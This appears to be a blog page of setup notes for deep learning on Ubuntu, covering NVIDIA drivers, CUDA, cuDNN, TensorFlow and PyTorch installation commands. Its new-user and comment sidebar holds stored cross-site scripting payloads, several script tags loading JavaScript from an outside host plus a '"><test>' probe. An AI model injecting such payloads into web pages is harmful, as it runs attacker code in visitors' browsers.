Deep learning setup on Ubuntu


Install GPU driver, CUDA, Cudnn

sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get install nvidia-375
sudo reboot

GPU info can be viewed using

nvidia-smi

Download CUDA 8.0

When asked whether to install GPU driver, select No

All the other select yes

Add CUDA to system environment 

export PATH=/usr/local/cuda-8.0/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda-8.0/lib64:$LD_LIBRARY_PATH

check version

nvcc -V

Download cudnn 6

Extract

tar -xvf cudnn-8.0-linux-x64-v6.0.tgz
sudo cp lib* /usr/local/cuda-8.0/lib64/
sudo cp cudnn.h /usr/local/cuda-8.0/include/

Tensorflow (CUDA8+Cudnn6)

Reference: https://www.tensorflow.org/install/install_linux

Install The libcupti-dev library, which is the NVIDIA CUDA Profile Tools Interface. This library provides advanced profiling support. 

sudo apt-get install libcupti-dev

Install pip and Virtualenv:

# Ubuntu/Linux 64-bit

sudo apt-get install python-pip python-dev python-virtualenv

Create a Virtualenv environment in the directory ~/tensorflow:

virtualenv --system-site-packages ~/tensorflow

Activate the environment:

source ~/tensorflow/bin/activate  # If using bash
source ~/tensorflow/bin/activate.csh  # If using csh

(tensorflow)$  # Your prompt should change

Now, install TensorFlow just as you would for a regular Pip installation. First select the correct binary to install:

(tensorflow)$ pip install --upgrade tensorflow      # for Python 2.7
(tensorflow)$ pip3 install --upgrade tensorflow     # for Python 3.n
(tensorflow)$ pip install --upgrade tensorflow-gpu  # for Python 2.7 and GPU
(tensorflow)$ pip3 install --upgrade tensorflow-gpu # for Python 3.n and GPUFinally install TensorFlow:

When you are done using TensorFlow, deactivate the environment.

(tensorflow)$ deactivate




CUDA 9

export PATH=/usr/local/cuda-9.0/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda-9.0/lib64:$LD_LIBRARY_PATH

Cudnn 7


CUDA Toolkit and Compatible Driver Versions

CUDA ToolkitLinux x86_64 Driver Version

CUDA 10.1 (10.1.105)>= 418.39

CUDA 10.0 (10.0.130)>= 410.48

CUDA 9.2 (9.2.88)>= 396.26

CUDA 9.1 (9.1.85)>= 390.46

CUDA 9.0 (9.0.76)>= 384.81

CUDA 8.0 (8.0.61 GA2)>= 375.26

CUDA 8.0 (8.0.44)>= 367.48

CUDA 7.5 (7.5.16)>= 352.31

CUDA 7.0 (7.0.28)>= 346.46

Cuda 10 + TF 1.13


From

https://medium.com/@cjanze/how-to-install-tensorflow-with-gpu-support-on-ubuntu-18-04-lts-with-cuda-10-nvidia-gpu-312a693744b5

sudo apt update && sudo apt install gcc

sudo apt update && sudo apt install build-essential

sudo apt update && sudo apt install freeglut3 freeglut3-dev libxi-dev libxmu-dev

sudo apt update && sudo apt install python3-dev python3-pip
sudo pip3 install -U virtualenv

Navigate to NVIDIA’s Driver Download page

sudo sh ./NVIDIA-Linux-X86_64-[YOURVERSION].run


restart and verify

nvidia-smi


Installing CUDA Toolkit 10 via Runfile

Head over to NVIDIA’s CUDA Toolkit Download page

sudo sh cuda_10.[YOURVERSION]_linux.run


Setup the environment variables

sudo nano ~/.bashrc

add at the end

export PATH=/usr/local/cuda-10.0/bin${PATH:+:${PATH}}

export LD_LIBRARY_PATH=/usr/local/cuda-10.0/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}

verify

nvcc -V

test cuda

cd ~/NVIDIA_CUDA-10.0_Samples

make

cd ~/NVIDIA_CUDA-10.0_Samples/bin/x86_64/linux/release

./deviceQuery


Installing NVIDIA cuDNN

download 

- cuDNN Runtime Library for Ubuntu18.04 (Deb)

- cuDNN Developer Library for Ubuntu18.04 (Deb)

- cuDNN Code Samples and User Guide for Ubuntu18.04 (Deb)


cd ~/Downloads

sudo dpkg -i libcudnn7_7.4.2.24-1+cuda10.0_amd64.deb

sudo dpkg -i libcudnn7-dev_7.4.2.24-1+cuda10.0_amd64.deb

sudo dpkg -i libcudnn7-doc_7.4.2.24-1+cuda10.0_amd64.deb


verify cudnn

cp -r /usr/src/cudnn_samples_v7/ $HOME

cd $HOME/cudnn_samples_v7/mnistCUDNN

make clean && make

./mnistCUDNN


Installing TensorFlow 1.13

virtualenv --system-site-packages -p python3 ./venv

source ./venv/bin/activate

pip install --upgrade pip

pip install tensorflow-gpu

verify

python -c "from tensorflow.python.client import device_lib; print(device_lib.list_local_devices())"


Note

Cuda 9 requires gcc/g++ 6, the default on Ubuntu 18 (gcc 7) is too high

need to install gcc/g++ 6

sudo apt-get install gcc-6 g++-6
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-6 10
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-6 10
sudo update-alternatives --install /usr/bin/cc cc /usr/bin/gcc 30
sudo update-alternatives --set cc /usr/bin/gcc
sudo update-alternatives --set c++ /usr/bin/g++


Install PyTorch

pip install torch torchvision


Last Article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39